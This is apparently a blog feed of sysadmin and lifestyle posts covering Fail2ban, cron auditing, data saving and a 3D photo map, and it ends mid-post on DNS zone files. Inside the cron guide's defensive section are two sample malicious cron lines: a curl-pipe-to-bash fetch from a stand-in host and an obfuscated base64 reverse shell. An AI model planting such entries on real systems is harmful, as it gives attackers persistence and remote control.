Fail2ban Cheat Sheet for Sysadmins

Ramiro Gómez — Fri, 20 Feb 2026 12:08:28 +0000

Fail2ban is a critical tool for safeguarding servers against brute-force attacks by monitoring logs and banning malicious IPs. This cheat sheet provides the most important concepts and commands for managing Fail2ban effectively.

1. Core Concepts

Jail: A Fail2ban unit that defines which logs to monitor, filter rules, and actions (e.g., banning an IP). Example: SSH protection with sshd.
Filter: A regex-based rule set to identify bad behavior in logs.
Action: The response triggered by Fail2ban (e.g., banning an IP using iptables).
Ban Time: How long IPs stay banned (seconds).
Max Retry: Maximum failed login attempts before banning an IP.

2. Service Management

Start Fail2ban service:

sudo systemctl start fail2ban

Stop Fail2ban service:

sudo systemctl stop fail2ban

Restart Fail2ban service (for major configuration changes):

sudo systemctl restart fail2ban

Reload Fail2ban service (for minor configuration changes):

sudo fail2ban-client reload

Enable Fail2ban at startup:

sudo systemctl enable fail2ban

Check Fail2ban service status:

sudo systemctl status fail2ban

3. Reload vs Restart

Action	When to Use	Impact
`fail2ban-client reload`	Use for minor configuration changes like adjusting `bantime`, `maxretry`, or adding new jails.	Reloads the active configuration without disrupting bans. Active jails remain functional.
`systemctl restart fail2ban`	Use for major changes, like adjustments in `/etc/fail2ban/fail2ban.conf`, or when changing Fail2ban actions.	Fully restarts Fail2ban, reinitializing all settings. Active ban lists are cleared unless ban persistence is configured (see Section 10).

Best Practice: Begin with reload. If changes are not applied or functional issues occur, use restart.

4. Key Configuration Files

Main Configuration: /etc/fail2ban/fail2ban.conf
Jail Configuration: /etc/fail2ban/jail.conf or /etc/fail2ban/jail.local (use jail.local for custom settings to avoid overwrites during updates).
Log File: /var/log/fail2ban.log

5. Managing Jails

View active jails:

sudo fail2ban-client status

Get detailed status of a specific jail:

sudo fail2ban-client status <jail_name>

Ban an IP manually in a jail:

sudo fail2ban-client set <jail_name> banip <IP_address>

Unban an IP from a jail:

sudo fail2ban-client set <jail_name> unbanip <IP_address>

Unban all IPs from a specific jail:

sudo fail2ban-client set <jail_name> unbanip --all

6. Sample Jail Configuration

Customize /etc/fail2ban/jail.local to protect SSH:

[DEFAULT]
# Defaults for all jails
# Whitelist specific IPs or ranges
ignoreip = 127.0.0.1/8 192.168.1.0/24
# 1 hour ban duration
bantime = 3600
# Time window to detect multiple failed attempts
findtime = 600
# Max failed attempts before banning
maxretry = 3
# Log backend, usually auto-detected
backend = auto

[sshd]
# Enable the SSH jail
enabled = true
# Override port if not default
port = ssh
# Path to SSH authentication log
logpath = /var/log/auth.log
# Use the SSH filter for matching logs
filter = sshd

After editing:

# Reload Fail2ban to apply changes
sudo fail2ban-client reload

7. Analyzing Logs

Monitor Fail2ban activity:

sudo tail -f /var/log/fail2ban.log

Find banned IPs in the logs:

grep 'Ban' /var/log/fail2ban.log

8. Create a Custom Jail

To protect Apache from login-related brute-force attacks:

Add this to /etc/fail2ban/jail.local:

[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 3
bantime = 3600

Create the filter /etc/fail2ban/filter.d/apache-auth.conf:

[Definition]
failregex = .*client <HOST>.*authorization failed.*
ignoreregex =

Reload Fail2ban to apply:

sudo fail2ban-client reload

Test the custom filter:

sudo fail2ban-regex /var/log/apache2/error.log /etc/fail2ban/filter.d/apache-auth.conf

9. Debugging

Dump the effective configuration (all parsed settings — useful for verifying what Fail2ban is actually using):

sudo fail2ban-client -d

Test configuration for syntax errors:

sudo fail2ban-client --test

View system logs for Fail2ban:

journalctl -u fail2ban

10. Persistent Bans Across Restarts

On most distributions, Fail2ban already enables ban persistence via SQLite by default. If bans are not surviving restarts, check whether dbfile is explicitly set in your configuration. You can confirm or set it in /etc/fail2ban/jail.local:

[DEFAULT]
dbfile = /var/lib/fail2ban/fail2ban.sqlite3

Restart Fail2ban to apply:

sudo systemctl restart fail2ban

11. iptables Integration

To view the iptables rules created by Fail2ban:

sudo iptables -L -n

To remove Fail2ban-specific rules, target its chains directly (e.g., for the sshd jail):

sudo iptables -F f2b-sshd

Avoid iptables -F without specifying a chain. It flushes all rules across the entire firewall, not just Fail2ban's.

12. Security Best Practices

Always whitelist critical IPs using ignoreip to prevent accidental bans.
Customize jail.local for site-specific setups (avoid editing jail.conf).
Regularly monitor /var/log/fail2ban.log for suspicious activity or misconfigurations.
Periodically test your filters using: sudo fail2ban-regex <logfile> <filter_file>.
Enable email alerts for ban events by customizing the action parameter in your jails.

Fail2ban is a powerful tool to lock down your system against brute-force attacks. Regularly monitor logs, refine filters, and keep configs well-maintained for optimal performance and security.

Practical Tips to Reduce Data Usage on Phones, Tablets, and Computers

Ramiro Gómez — Wed, 18 Feb 2026 14:03:15 +0000

With the growing reliance on the Internet, managing your data usage has become more critical than ever, especially if you're on a limited or expensive mobile data plan. Excessive consumption can lead to hefty overage fees, slower tethered speeds, or simply running out of data altogether. Whether you're using a smartphone, tablet, or computer, this guide offers practical tips to help reduce data usage while staying connected and productive.

General Tips for Saving Data Across All Devices

Before diving into device-specific suggestions, here are some universal strategies for data savings:

Utilize Wi-Fi : Always connect to a secure Wi-Fi network when one is available, particularly at home, work, or public spaces with trusted connectivity.
Monitor Data Usage : Most devices include tools to track your data consumption. Use them to identify high-usage apps and adjust your habits accordingly. Alternatively, mobile carriers often provide apps or dashboards to help monitor your usage.
Set Data Limits : Many smartphones allow you to set limits and receive alerts when you're nearing your monthly data cap. Use these tools to stay on top of your plan.

By incorporating these general best practices, you can effectively reduce unnecessary data consumption regardless of the device you're using.

Saving Data on Smartphones

Smartphones are often the biggest culprits when it comes to draining mobile data. These tips will help minimize unnecessary usage:

Enable Data Saver Mode : Most smartphones have a data saver or low data mode, which restricts background app activity and optimizes data usage.
Restrict Background Data : Go to your phone's settings and disable background data usage for all apps, that don't need it to function properly. This ensures that apps won't pull data in the background.
Disable Auto-Updates : Set app updates to download only when connected to Wi-Fi instead of using your mobile data plan.
Reduce Streaming Quality : On video streaming apps like YouTube and Netflix, opt for lower quality (360p or lower) rather than HD or 4K.
Turn Off Video Autoplay : Many social media apps like Facebook, Instagram, and Twitter autoplay videos as you scroll. Turn this feature off in the app's settings to avoid unnecessary data usage.

Saving Data on Tablets

Tablets are often used for entertainment and productivity. To reduce data usage on tablets, try these strategies:

Use Offline Features for Apps : Many apps—including streaming, reading, and navigation apps—allow you to download content (like maps, shows, or articles) for offline use. Download what you need while connected to Wi-Fi for future use.
Manage Cloud Sync Settings : Disable or limit auto-syncing of data to cloud storage like Google Drive, iCloud, or Dropbox, unless you're connected to Wi-Fi.
Block Ads : Install an ad blocker, which can reduce the amount of data consumed by video and banner ads on websites.
Choose Data-Conscious Browsers : Browsers like Opera Mini, Brave, or Puffin compress content and block unnecessary data-hogging ads or trackers automatically.

Saving Data on Computers (When Connected to Mobile Hotspots)

Using your mobile phone as a hotspot to connect your computer to the Internet can rapidly deplete your data. To optimize usage:

Turn Off Automatic Updates : Disable system and software updates until you're on Wi-Fi. Large updates for your operating system or applications can consume gigabytes of data. If possible, schedule updates for nighttime when you're back at home.
Limit File Downloads : Avoid downloading large files, such as software, videos, or games, when tethering, unless absolutely necessary.
Adjust Streaming Quality : Lower video quality settings on streaming platforms like YouTube, Netflix, or Amazon Prime to save data. Switch to audio-only modes if available.
Disable Image Loading : Some browsers allow you to turn off or reduce the quality of images, which can help significantly when browsing content-heavy websites.
Close Unused Programs : Shut down data-heavy applications running in the background, such as cloud storage services (Dropbox, OneDrive, etc.), to avoid unnecessary syncing.

Browser-Specific Tips

Many web browsers now come with features to minimize data usage. Exploring the right browser and settings can save you a lot of data:

Opera Mini : This browser compresses pages, including images and text. It also reduces the size of video streams, making it a favorite for data-saving.
Google Chrome (with Lite Mode): Activating Lite Mode compresses content, reduces image quality, and blocks unnecessary parts of webpages that consume data.
Puffin Browser : Puffin uses cloud-based data compression to process websites, which significantly lowers data use while browsing.
Brave Browser : Built-in ad and tracker blocking reduces data consumption and improves page load speeds.
Install Ad Blockers : If your browser doesn't have built-in blocking capabilities, consider adding third-party extensions like uBlock Origin to remove data-heavy ads and pop-ups.

Advanced Techniques

If you want to go the extra mile in limiting data use, here are some advanced strategies:

Use VPNs with Compression : Some VPN services offer data compression features, which reduce the size of data packets transmitted over the Internet. Popular VPNs like Opera VPN or Cloudflare often include data-saving options.
Optimize Streaming Services : Platforms like Spotify and Netflix let you download content over Wi-Fi for offline viewing or listening. They also allow you to reduce streaming quality, saving significant amounts of data.
Disable Auto-Sync Features : On all devices, turn off background sync options for non-essential apps. Synchronizing your entire photo library, for instance, can quickly eat into your data.

Conclusion

Reducing your data consumption doesn't have to mean entirely giving up Internet conveniences. By incorporating these tips into your daily technology habits, you can still enjoy browsing, streaming, and working online while staying within your data limits. Whether you're using a smartphone, tablet, or laptop, small adjustments like managing app updates, optimizing streaming quality, and choosing data-saving modes can make a big difference.

Take control of your data plan and ensure you're making the most of your Internet experience without unnecessary stress or expense!

How Limiting My Internet Usage Changed the Way I Work and Live

Ramiro Gómez — Mon, 16 Feb 2026 13:00:16 +0000

After canceling my DSL subscription, I decided to rely solely on mobile data for my Internet access at home. To make things even more intentional, I chose a data plan capped at 30GB per month. For someone who works from home as a system administrator and programmer, this monthly limit might sound restrictive — especially when you factor in the need to update software and keep a reliable connection for work.

But after over a month of living with this setup, I've found that the experience has noticeably changed my habits and workflow for the better. While it hasn't always been easy, it has caused me to reexamine how I use the Internet and how I approach my work and daily tasks. Here's what I've learned.

Deliberate Internet Usage

With a limited data plan, I've had to think critically about when and how to use the Internet. In the past, I might have spent long stretches mindlessly browsing or keeping tabs open "just in case." Now, my online sessions are deliberate and focused on specific needs to avoid unnecessary data consumption.

This shift in mindset has been unexpectedly liberating. It feels good to be mindful about Internet usage instead of passively being led by it.

Reduced Social Media and Procrastination

One of the most notable changes in my daily life has been my reduced reliance on social media. Previously, I could easily get lost scrolling through feeds multiple times a day. With a 30GB limit, I've had to be stricter about that behavior, and this change has naturally curtailed procrastination.

The result? I now spend more time on meaningful activities and less time falling into the black hole of endless content. It's refreshing to have that clarity.

Once-a-Day Routine Check-Ins

Like many others, I regularly visit certain websites for both personal and work-related reasons, such as dashboards with statistics, analytics, or updates on business matters. In the past, I would check these sites several times a day — largely out of habit.

With my Internet usage now restricted, I've instituted a once-a-day routine for checking most of these sites. I haven't felt like I was missing anything important. This approach has reduced interruptions, minimized distractions, and given me more time to focus on single tasks at hand.

Problem-Solving with My Own Brain

As a programmer and tech worker, it's natural to rely on tools like search engines, forums, or large language models (LLMs) to quickly troubleshoot problems. However, with more constrained access to the Internet, I've started depending less on these tools and more on my own problem-solving skills.

For example, I turned off features like GitHub Copilot in my development environment because of how often I worked offline. This change has pushed me to reason through issues independently before seeking an external solution. Not only has this improved my productivity, but it's also reinforced confidence in my existing knowledge.

A Life with Fewer Distractions

Perhaps the biggest benefit of this experiment has been the calmness I've felt in my daily routine. Without constant connectivity, there's simply less noise.

This reduced connectivity has helped me focus better on what matters and let go of things beyond my control. It's a small step, but it's had an outsized impact on my overall sense of well-being.

Reflections on the Experiment

Certainly, this lifestyle adjustment comes with its own challenges. For example, I've had to plan ahead for downloading essential updates and think twice about how I use my allotted data. However, these minor inconveniences have been outweighed by the benefits of living with a more intentional and efficient approach to the Internet.

This experience has given me a new perspective: Having constant, unlimited Internet access isn't universally beneficial, especially if it fosters habits that detract from what you truly want to accomplish. Setting limits, whether self-imposed or due to a data cap, can help reset your relationship with technology in a constructive way.

Will I stick with this 30GB limit for the long run? I'm not sure yet. But the lessons I've learned — about being conscious of my habits, staying focused, and reducing distractions — will remain with me regardless of my future Internet plans. For now, I'm enjoying life with less digital noise.

How to Inspect All Cron Jobs on a Linux System: A Sysadmin's Guide

Ramiro Gómez — Wed, 11 Feb 2026 12:28:05 +0000

Cron is one of the most fundamental tools in a Linux sysadmin's toolkit. It powers everything from nightly database backups to certificate renewals, log rotations, and application health checks. Once scheduled, cron jobs run silently in the background, which is both their strength and their risk.

Because cron jobs run unattended, they are easy to overlook. Over time, a server accumulates scheduled tasks added by different users, applications, and installers. Without periodic audits, it becomes impossible to know exactly what is running on your system, when, and as whom.

This guide will teach you where cron jobs live on a Linux system, how to inspect them for all users at once, what normal cron jobs look like, and what suspicious ones look like. By the end, you will have a repeatable process for auditing scheduled tasks on any Linux server.

A Quick Cron Refresher

How Cron Works

Cron is a time-based job scheduler. The crond daemon runs continuously in the background and wakes up every minute to check whether any scheduled task is due to run. Jobs are defined in crontab files, which are plain text files that include a schedule and a command.

There are two types of crontabs: user crontabs (personal to each system user) and system crontabs (owned by root or placed in dedicated directories by applications). Both are checked by the same crond daemon.

Cron Schedule Syntax

Every cron job starts with five fields that define when the job should run, followed by the command itself:

* * * * * command
│ │ │ │ │
│ │ │ │ └─ Day of week (0–7, Sunday = 0 or 7)
│ │ │ └─── Month (1–12)
│ │ └───── Day of month (1–31)
│ └─────── Hour (0–23)
└───────── Minute (0–59)

An asterisk * in any field means "every" — every minute, every hour, and so on. Commas let you specify multiple values (1,15,30). Hyphens define ranges (1-5 for Monday through Friday). A forward slash defines a step (*/15 means every 15 minutes).

For example:

# Run at 2:30 AM every day
30 2 * * * /usr/local/bin/backup.sh

# Run every 15 minutes
*/15 * * * * /usr/local/bin/healthcheck.sh

# Run at noon on the first of every month
0 12 1 * * /usr/local/bin/monthly-report.sh

Special Time Strings

Cron also supports shorthand strings as an alternative to the five-field syntax:

String	Equivalent	Description
`@reboot`	—	Run once at system startup
`@hourly`	`0 * * * *`	Run once per hour
`@daily`	`0 0 * * *`	Run once per day at midnight
`@weekly`	`0 0 * * 0`	Run once per week on Sunday
`@monthly`	`0 0 1 * *`	Run once per month on the first
`@yearly`	`0 0 1 1 *`	Run once per year on January 1st

Common Real-World Cron Job Examples

Understanding what legitimate cron jobs look like makes it much easier to spot unusual or suspicious ones. Here are the most common categories of scheduled tasks you will encounter in production environments.

Backups

Backups are among the most important scheduled tasks on any server. Common examples include nightly database dumps, syncing files to remote storage, and archiving log files.

# Dump MySQL database nightly at 1 AM
0 1 * * * root mysqldump -u root mydb > /backups/mydb_$(date +\%F).sql

Log Rotation and Cleanup

Log files can consume enormous amounts of disk space if left unchecked. Cron jobs are used to rotate logs, compress old ones, and purge entries beyond a certain age. On most systems, logrotate is itself invoked by a daily cron job.

# Logrotate runs as a daily cron job on most systems (/etc/cron.daily/logrotate)
/usr/sbin/logrotate /etc/logrotate.conf

# Delete temp files older than 7 days
0 3 * * * root find /tmp -mtime +7 -delete

TLS Certificate Renewal

Let's Encrypt certificates expire every 90 days. Certbot installs a cron job or systemd timer to handle renewal automatically. If installed via a package manager, you will typically find it in /etc/cron.d/ or /etc/cron.daily/.

# Certbot renewal check twice daily (common pattern)
0 */12 * * * root certbot renew --quiet

System Updates

Some organizations configure servers to apply security updates automatically on a schedule, reducing the window of exposure from known vulnerabilities.

# Apply security updates weekly (Debian/Ubuntu)
0 4 * * 0 root apt-get update && apt-get -y upgrade

# Run yum-cron for automatic updates (RHEL/CentOS)
0 0 * * * root /usr/sbin/yum-cron

Monitoring and Health Checks

Cron is often used to run lightweight monitoring checks that send an alert or write to a log if something is amiss. Disk usage checks, ping tests, and process monitoring are common examples.

# Alert if disk usage exceeds 90%
*/10 * * * * root df -h | awk '$5 > 90 {print}' | mail -s 'Disk Warning' admin@example.com

# Check that Apache is running every 5 minutes, restart if not
*/5 * * * * root pgrep apache2 || systemctl restart apache2

Application Maintenance

Applications often install their own cron jobs as part of their package setup. These jobs handle tasks such as cleaning up PHP sessions, scrubbing filesystems, and restarting internal services. For instance, CloudPanel installs daily jobs to restart rsyslog and its own agent service as part of regular housekeeping for a hosting control panel.

# Clean PHP sessions twice per hour
09,39 * * * * root [-x /usr/lib/php/sessionclean] && /usr/lib/php/sessionclean

# CloudPanel: restart logging service nightly
5 0 * * * clp /usr/bin/sudo /etc/init.d/rsyslog restart &> /dev/null

# CloudPanel: restart agent service
15 2 * * * clp /usr/bin/sudo /usr/bin/systemctl restart clp-agent &> /dev/null

Where Cron Jobs Live on a Linux System

Cron jobs can be defined in several different places. A thorough audit requires checking all of them.

Location	Description
`/etc/crontab`	Main system crontab
`/etc/cron.d/`	Application-specific cron files
`/etc/cron.hourly/`	Scripts run every hour
`/etc/cron.daily/`	Scripts run every day
`/etc/cron.weekly/`	Scripts run every week
`/etc/cron.monthly/`	Scripts run every month
`/var/spool/cron/crontabs/`	User crontabs (Debian/Ubuntu)
`/var/spool/cron/`	User crontabs (RHEL/CentOS)

/etc/crontab

The main system-wide crontab. Unlike user crontabs, entries here include an additional field specifying which user the command runs as. You can view it with cat /etc/crontab.

/etc/cron.d/

Applications that need to install their own cron schedules drop files here rather than modifying the main crontab. Each file follows the same format as /etc/crontab. This is commonly where you will find jobs from packages like sysstat, certbot, and hosting control panels.

/etc/cron.daily/, cron.hourly/, cron.weekly/, cron.monthly/

These directories contain plain shell scripts (not crontab format) that are executed on the corresponding schedule. The timing is determined by entries in /etc/crontab or by the anacron service. List their contents with:

ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

/var/spool/cron/

User crontabs are created by individual users via crontab -e and stored here, in files named after each user. On Debian and Ubuntu the subdirectory is called crontabs; on Red Hat-based systems the files sit directly in /var/spool/cron/. As root you can read any of them directly.

How to Inspect Cron Jobs

Your Own Crontab

View your own user's crontab with:

crontab -l

If you have no cron jobs set up, this will print no crontab for <username>.

A Specific User's Crontab

As root, inspect any individual user's crontab using the -u flag:

crontab -u username -l

All Users at Once

The most thorough approach is to loop through every user on the system and print their crontab. The following one-liner reads all usernames from /etc/passwd and queries each one:

for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== Crontab for $user ==="
    crontab -u $user -l 2>/dev/null
done

The 2>/dev/null suppresses the "no crontab for this user" messages, keeping the output clean. Only users with actual cron jobs will produce output beyond the header line.

System Cron Files

Check all system-level cron configuration in one pass:

# View the main system crontab
cat /etc/crontab

# View all files in cron.d
cat /etc/cron.d/*

# List scripts in the schedule directories
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

Directly Inspect the Spool Directory

You can also read user crontabs directly from the spool directory as root, which is useful for scripting and automation:

# Debian/Ubuntu
grep -r . /var/spool/cron/crontabs/ 2>/dev/null

# RHEL/CentOS
grep -r . /var/spool/cron/ 2>/dev/null

Check Running Cron Processes

To verify the cron daemon is active and see any currently running cron processes:

# Check daemon status
systemctl status cron # Debian/Ubuntu
systemctl status crond # RHEL/CentOS

# List running cron processes
ps aux | grep cron

View Cron Logs

Cron logs reveal what has already run, including errors and timing. Check the relevant log file for your distribution:

# Debian/Ubuntu: cron entries in syslog
grep CRON /var/log/syslog | tail -50

# RHEL/CentOS: dedicated cron log
tail -50 /var/log/cron

# systemd-based systems: use journalctl
journalctl -u cron --since today
journalctl -u crond --since today

Tip: If a cron job is failing silently, the logs are usually the first place to look. An error in the logs combined with an unexpected system state (missing files, full disk) can quickly reveal the culprit.

A Note on Systemd Timers

On modern Linux distributions, systemd timers are increasingly used as an alternative or complement to cron. They provide more precise scheduling, dependency management, and built-in logging through the journal. Importantly, a job defined as a systemd timer will not appear in any crontab audit.

To see all systemd timers, including the next scheduled run time for each:

systemctl list-timers --all

If you find timers you do not recognize, investigate the associated service unit:

# Show the timer definition
systemctl cat my-timer.timer

# Show what service the timer activates
systemctl cat my-timer.service

On many Debian and Ubuntu servers, you might find that certain tasks you would expect to be cron jobs, like apt daily updates and e2fsck scrubbing, have been moved to systemd timers. For this reason, it's important to include both cron and systemd in any full audit of scheduled tasks.

Security Considerations

Why Attackers Love Cron

Cron is a favorite tool for attackers seeking persistence. Once they have gained access to a system, planting a cron job ensures they retain that access even if the initial vulnerability is patched, the compromised process is restarted, or the system is rebooted. A well-hidden cron job can persist for months without detection.

What Suspicious Cron Jobs Look Like

When auditing cron jobs after a suspected compromise, look for any of the following red flags:

Commands that download files from the internet, especially curl or wget piped directly to bash
Commands that connect back to an unusual IP address or domain (reverse shells)
Base64-encoded commands, which are used to obfuscate payloads
Jobs that write to unexpected locations, especially /tmp, /dev/shm, or hidden directories
Jobs running as root that were not placed there by a known package
Jobs that modify /etc/passwd, /etc/shadow, or SSH authorized_keys files
Cron job names designed to blend in with legitimate system tasks

A particularly common attacker pattern looks like this:

# Classic cryptominer persistence via cron
*/5 * * * * root curl -s http://malicious.example.com/update.sh | bash

# Obfuscated reverse shell
*/10 * * * * nobody echo YmFzaCAtaSA+Ji9kZXYvdGNw... | base64 -d | bash

Best Practices

Following a few simple principles can significantly reduce your risk surface around cron:

Principle of least privilege: Cron jobs should run as the least privileged user possible. Avoid running jobs as root unless absolutely necessary. Use dedicated service accounts with restricted permissions for specific tasks.
Log cron output: Redirect stdout and stderr to a log file rather than discarding output. Silent failures are harder to detect, and logs can help debug unexpected issues.
Periodic audits: Schedule a regular review of all cron jobs as part of your security routine, not just after incidents. Include both user and system crontabs and ensure no unauthorized entries exist.
Version control: Keep a copy of known-good cron configurations in source control so you can diff against what is currently on the server. This helps you quickly identify unwanted changes.
Monitor for changes: Use tools like auditd or similar file integrity monitoring systems to alert you when crontab files are modified. Monitoring /var/spool/cron/, /etc/crontab, and /etc/cron.d/ for alterations can provide early warnings of unauthorized additions.
Restrict user access: Control who can create cron jobs by using /etc/cron.allow and /etc/cron.deny. Only users with a legitimate need for scheduled tasks should be permitted to create them. Keeping this list concise limits your system's attack surface.
Validate scripts before scheduling: Run and review scripts manually before automating them in cron to ensure they work as intended and do not introduce unintended security vulnerabilities.
Balance output redirection: Log cron job output where possible, but ensure sensitive systems like production servers aren't overwhelmed by excessive log noise. For jobs where reliability is proven, you may discard output selectively using > /dev/null 2>&1. However, even in these cases, ensure failure alerts are captured elsewhere.
Check for systemd timers: Include systemd timers in any full audit. They are increasingly used as an alternative to cron jobs and must be inspected to identify scheduled system tasks. Use systemctl list-timers --all regularly.
Time-zone awareness: Be mindful of time zones when scheduling cron jobs, especially on systems that might operate in multiple regions or adjust for daylight savings. Server configurations running in UTC time can help standardize schedules.

# Good practice: log cron output to a file
0 2 * * * root /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1

# Discard output only when you are certain the job is reliable
0 3 * * * root /usr/local/bin/cleanup.sh > /dev/null 2>&1

By combining these practices into your workflow, you can greatly enhance the reliability and security of your scheduled tasks. Make auditing and maintaining cron jobs a regular routine alongside other system maintenance tasks.

Conclusion

Cron jobs are an essential aspect of Linux system administration, but their silent, automated nature often makes them easy to forget. Over time, a server that has been running for years can gather dozens of scheduled tasks from various users, packages, and installers. Some of these tasks might no longer be necessary, while others might even pose a risk.

Here is a quick-reference audit checklist you can run on any server:

# 1. Check all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    crontab -u $user -l 2>/dev/null
done

# 2. Check system crontabs
cat /etc/crontab
cat /etc/cron.d/*

# 3. List cron script directories
ls -la /etc/cron.{daily,hourly,weekly,monthly}/

# 4. Read spool directly
grep -r . /var/spool/cron/crontabs/ 2>/dev/null # Debian/Ubuntu
grep -r . /var/spool/cron/ 2>/dev/null # RHEL/CentOS

# 5. Check systemd timers too
systemctl list-timers --all

# 6. Review recent cron log activity
grep CRON /var/log/syslog | tail -100

Make auditing your cron jobs a regular routine rather than a reactive measure when something goes wrong.

From Photo Metadata to 3D Map: Building an Interactive Travel Diary

Ramiro Gómez — Thu, 05 Feb 2026 12:50:16 +0000

During a recent two-week vacation in Nerja, Spain, I took hundreds of photos with my phone. Many of them captured GPS coordinates and altitude data. Instead of letting that metadata sit unused, I decided to build an interactive 3D visualization that plots each photo on the actual terrain where it was taken.

Quick demo of the interactive viewer

The Concept

The idea was simple: create a chronological journey through my vacation photos, where each photo appears on a 3D terrain map at its location. As you navigate through the photos, the camera flies to each spot, showing the landscape in 3D.

Tech Stack

deck.gl for 3D Visualization

I chose deck.gl for rendering the 3D terrain and photo markers. It's a WebGL-powered framework that handles complex 3D visualizations with impressive performance. Two key layers made this possible:

TerrainLayer - Renders the 3D elevation map using Terrarium-format tiles from AWS:

const terrain = new TerrainLayer({
    id: 'terrain',
    elevationData: 'https://s3.amazonaws.com/elevation-tiles-prod/terrarium/{z}/{x}/{y}.png',
    texture: 'https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}',
    ...
});

ScatterplotLayer - Displays photo locations as 3D points on the terrain. I used two layers: one for visited photos (gray, smaller) and one for the current photo (orange, larger).

Data Processing

The photos' EXIF data provided latitude, longitude, altitude, and timestamps. I extracted this into a CSV file with entries sorted chronologically:

filestem,latitude,longitude,altitude,timestamp
IMG_20260106_132810881,36.78705,-3.883663888888889,197.6,2026:01:06 13:28:12
...

Key Features

Smooth Camera Transitions

When navigating between photos, the camera smoothly flies to the new location using deck.gl's FlyToInterpolator:

deckInstance.setProps({
    initialViewState: {
        longitude: currentPhoto.longitude,
        latitude: currentPhoto.latitude,
        zoom: 15,
        bearing: 180,
        pitch: 40,
        transitionDuration: 2000,
        transitionInterpolator: new deck.FlyToInterpolator()
    }
});

Progressive Trail Visualization

As you move through the photos, previously visited locations remain visible in gray, creating a visual trail of your journey. The current photo is highlighted in orange.

Responsive Layout

The interface adapts to different screen sizes:

Landscape: Map takes 60-70% of width, photo/controls on the right
Portrait: Map takes 60% of height, photo/controls below

@media (max-aspect-ratio: 1/1) {
    #app-container {
        flex-direction: column;
    }
    #map-container {
        flex: 0 0 60%;
    }
    ...
}

Keyboard Navigation

Keyboard shortcuts for quick navigation:

Arrow keys: Previous/Next photo
Home/End: First/Last photo
Spacebar: Play/Pause auto-advance

Auto-Play Journey

A play button advances through photos automatically (3 seconds each), creating a cinematic journey through the vacation.

Challenges & Solutions

GPS Altitude Accuracy

Phone GPS altitude data can be unreliable, especially near sea level. I added a note in the info modal about this limitation. In future versions, I might cross-reference with the terrain elevation data to improve accuracy.

Photo Loading Performance

I selected 300 of the photos that had GPS data and created smaller web-optimized versions using wim to ensure quick loading without sacrificing too much quality.

Mobile Layout

Getting the controls to fit on small portrait screens required careful tweaking of photo max-height and padding values. The final solution uses a compact info display (icons instead of labels) and reduced button spacing.

What I Learned

deck.gl is powerful but has a learning curve - The layer system is elegant once you understand it, but proper coordinate handling and view state management took some experimentation.
GPS metadata opens creative possibilities - This project barely scratches the surface of what's possible with GPS metadata from photos.
Responsive 3D is tricky - Balancing the 3D visualization with UI controls across different screen sizes required more iteration than expected.
Small touches matter - The smooth camera transitions, progressive trail effect, and keyboard shortcuts help make the experience more engaging.

Try It Yourself

Build Mental Resilience: A 30-Day Challenge Inspired by Science

Ramiro Gómez — Mon, 06 Oct 2025 14:17:37 +0000

After listening to the insightful discussion on resilience research in the SOLVED Podcast with Mark Manson and Drew Bernie, I felt inspired to create something practical. The episode highlighted that resilience isn't a mysterious trait but a skill that can be developed. This led me to create a free, simple online tool designed to help people build resilience through daily practice. Here's an example of a daily challenge from the tool.

The Science Behind This Approach

Resilience as a Learnable Skill

Resilience functions like a muscle that grows stronger with use. According to the research discussed in the podcast:

Neuroplasticity is the brain's ability to adapt and rewire itself over time. This process allows us to create new patterns with consistent effort.
The HPA axis refers to the system that manages our stress responses. It can be trained to handle stress more effectively.
Heart rate variability is a measurable indicator of how well our body adapts to stress. With practice, it can be improved.

The Three Pillars Framework

This challenge follows the framework discussed in the podcast:

Biological Resilience : Calibrating your nervous system through breath, cold exposure, and sleep
Psychological Flexibility : Building mental frameworks from evidence-based therapies
Social Connection : Strengthening the relational safety nets that catch us during hard times

What Makes This Approach Work

1. Small, Sustainable Steps

Each daily practice takes 5 to 15 minutes, focusing on consistency over intensity. This steady, incremental approach promotes lasting change while preventing burnout.

2. The Orchid-Dandelion Insight

One of the most liberating concepts from the podcast was that sensitivity isn't weakness. Whether you're an orchid, thriving in ideal conditions, or a dandelion, capable of adapting anywhere, this challenge is designed to suit your current needs and circumstances. It provides guidance and flexibility no matter your starting point.

3. Evidence-Based Methods

Each exercise in this challenge is based on evidence-backed practices mentioned in the podcast:

Physiological sighs are breathing techniques used to quickly calm your nervous system.
Cognitive reframing is a strategy from Cognitive Behavioral Therapy (CBT) that helps shift how you view difficult situations.
Values-based actions come from Acceptance and Commitment Therapy (ACT). They encourage aligning your actions with your personal values.
Voluntary discomfort is inspired by Stoicism. It builds resilience by intentionally practicing discomfort in controlled ways.

A Note on the Structure

The challenge is designed to follow a natural, step-by-step progression:

Week 1 : Building a strong nervous system foundation
Week 2 : Creating mindset shifts
Week 3 : Strengthening identity
Week 4 : Integrating what you've learned

This structure reflects research that shows lasting change happens gradually over time. It is not an instant process. You can start the challenge on any day, and if you miss a day, simply pick up where you left off the next day. However, try to stay consistent and avoid missing days to build momentum and reinforce progress.

Automatic Progress Tracking

Your challenge progress is saved automatically in your web browser. This approach is private and requires no login.

Saves automatically when you complete each day's task.
Stays private on your own device.

Please note: Progress is tied to your specific browser and device. Switching will start a new session, so using one browser provides the best experience.

Join Me in Building Resilience

If the SOLVED resilience episode resonated with you, this challenge offers a practical way to put those insights into action. You don't need specialized equipment or large blocks of free time. Setting aside a few minutes each day and committing to grow is all it takes.

Research suggests that resilience is a skill that everyone has the potential to develop with practice. This challenge was inspired by Episode 06 of the SOLVED podcast, "How to Become More Resilient," and was created to make their insights accessible, practical, and grounded in science. Full credit for the research and ideas goes to the SOLVED team.

Checking DNS Zone Files

Ramiro Gómez — Tue, 01 Apr 2025 12:14:08 +0000

DNS zone files are the backbone of domain name resolution on the internet. They contain the mappings between domain names and IP addresses, mail servers, and other critical infrastructure components. However, even a small syntax error in these files can lead to significant disruptions in service. In this post, we'll explore the importance of validating DNS zone files and some practical methods to do so.

Why Validate Zone Files?

A misconfigured zone file can cause various problems:

